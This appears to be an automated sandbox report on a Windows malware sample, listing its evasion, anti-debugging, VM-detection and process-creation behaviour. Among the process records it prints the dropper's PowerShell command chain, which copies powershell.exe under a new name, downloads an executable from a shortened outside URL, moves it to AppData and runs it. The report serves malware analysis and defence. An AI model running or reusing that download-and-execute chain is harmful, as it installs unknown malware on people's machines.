Source: C:\Users\user\AppData\Local\Temp\o.exe	File opened / queried: IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}			Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Users\user\AppData\Local\Temp\o.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\AppData\Local\Temp\o.exe TID: 3040	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe TID: 2936	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe TID: 2932	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe TID: 2480	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe TID: 3040	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe TID: 2936	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe TID: 2932	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe TID: 2480	Thread sleep time: -60000s >= -30000s			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8A3C4 malloc,ExpandEnvironmentStringsW,FindFirstFileW,FindClose,free,		16_2_000000013FB8A3C4
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8A3C4 malloc,ExpandEnvironmentStringsW,FindFirstFileW,FindClose,free,		16_2_000000013FB8A3C4

Enumerates the file system

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\powershell.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\powershell.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\			Jump to behavior

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: o.exe, 00000010.00000002.2132305351.00000000002FE000.00000004.00000020.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Queries a list of all running processes

Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information queried: ProcessInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information queried: ProcessInformation			Jump to behavior

Anti Debugging:

Enables debug privileges

Source: C:\Users\user\AppData\Local\Temp\o.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process token adjusted: Debug			Jump to behavior

Contains functionality to register its own exception handler

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8C7C8 SetUnhandledExceptionFilter,		16_2_000000013FB8C7C8
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB81158 SetUnhandledExceptionFilter,		16_2_000000013FB81158
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8C660 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		16_2_000000013FB8C660
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8C7C8 SetUnhandledExceptionFilter,		16_2_000000013FB8C7C8
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB81158 SetUnhandledExceptionFilter,		16_2_000000013FB81158
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8C660 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		16_2_000000013FB8C660

Creates guard pages, often used to prevent reverse engineering and debugging

Source: C:\Users\user\AppData\Local\Temp\o.exe	Memory allocated: page read and write | page guard			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Memory allocated: page read and write | page guard			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Robocopy.exe robocopy C:\Windows\system32\WindowsPowerShell\v1.0\ C:\Users\user\AppData\Local\Temp powershell.exe /mt /z			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 1			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process created: C:\Users\user\AppData\Roaming\vc.exe C:\Users\user\AppData\Roaming\vc.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Robocopy.exe robocopy C:\Windows\system32\WindowsPowerShell\v1.0\ C:\Users\user\AppData\Local\Temp powershell.exe /mt /z			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 1			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process created: C:\Users\user\AppData\Roaming\vc.exe C:\Users\user\AppData\Roaming\vc.exe			Jump to behavior

Language, Device and Operating System Detection:

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: LoadLibraryExW,SearchPathW,FindResourceExW,GetUserDefaultUILanguage,GetLocaleInfoW,wcsncmp,GetSystemDefaultUILanguage,FreeLibrary,FreeLibrary,LoadLibraryExW,FreeLibrary,		16_2_000000013FB8BB84
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: LoadLibraryExW,SearchPathW,FindResourceExW,GetUserDefaultUILanguage,GetLocaleInfoW,wcsncmp,GetSystemDefaultUILanguage,FreeLibrary,FreeLibrary,LoadLibraryExW,FreeLibrary,		16_2_000000013FB8BB84

Queries the installation date of Windows

Source: C:\Users\user\AppData\Local\Temp\o.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate			Jump to behavior

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Queries volume information: C:\Users\user\AppData\Roaming\vc.exe VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Queries volume information: C:\Users\user\AppData\Roaming\vc.exe VolumeInformation			Jump to behavior

Contains functionality to query local / system time

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8C9A0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,		16_2_000000013FB8C9A0
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8C9A0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,		16_2_000000013FB8C9A0

Contains functionality to query windows version

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8B66C GetVersionExW,GetVersionExW,		16_2_000000013FB8B66C
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8B66C GetVersionExW,GetVersionExW,		16_2_000000013FB8B66C

Queries the cryptographic machine GUID

Source: C:\Users\user\AppData\Roaming\vc.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid			Jump to behavior

Remote Access Functionality:

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB89264 SetErrorMode,CorBindToRuntimeEx,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,#30,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysAllocString,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,		16_2_000000013FB89264
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB89264 SetErrorMode,CorBindToRuntimeEx,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,#30,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysAllocString,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,VariantClear,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,??_V@YAXPEAX@Z,??3@YAXPEAX@Z,SysFreeString,		16_2_000000013FB89264